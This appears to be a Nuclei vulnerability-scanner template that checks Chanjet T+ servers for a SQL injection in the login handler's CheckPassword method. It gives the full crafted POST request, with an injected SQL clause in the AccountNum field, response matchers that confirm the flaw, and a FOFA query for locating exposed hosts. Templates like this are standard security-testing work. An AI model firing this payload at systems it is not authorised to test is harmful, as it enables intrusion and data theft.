id: chanjet-tplus-ufida-sqli info: name: Chanjet TPluse Ufida.T.SM.Login.UIP - SQL injection author: SleepingBag945 severity: high description: | Chanjet TPluse application has a SQL injection vulnerability, which can be used by attackers to obtain sensitive information in the database. reference: - https://github.com/MrWQ/vulnerability-paper/blob/master/bugs/%E7%95%85%E6%8D%B7%E9%80%9A%20T%2B%20Plus%20%E5%AE%A1%E8%AE%A1%20%EF%BC%88%E8%B6%85%E8%AF%A6%E7%BB%86%EF%BC%89.md metadata: max-request: 1 fofa-query: app="畅捷通-TPlus" verified: true tags: yonyou,chanjet,sqli http: - raw: - | POST /tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip {"AccountNum":"123 or 8767 IN (SELECT (sys.fn_sqlvarbasetostr(HASHBYTES('MD5','1'))))","UserName":"admin","Password":"e10adc3949ba59abbe56e057f20f883e","rdpYear":"2021","rdpMonth":"12","rdpDate":"9","webServiceProcessID":"admin","ali_csessionid":"","ali_sig":"","ali_token":"","ali_scene":"","role":"","aqdKey":"","fromWhere":"browser","cardNo":""} matchers-condition: and matchers: - type: word words: - "0x06d49632c9dc9bcb62aeaef99612ba6b" - "Message\":\"245" - "DatabaseException" part: body condition: and - type: status status: - 200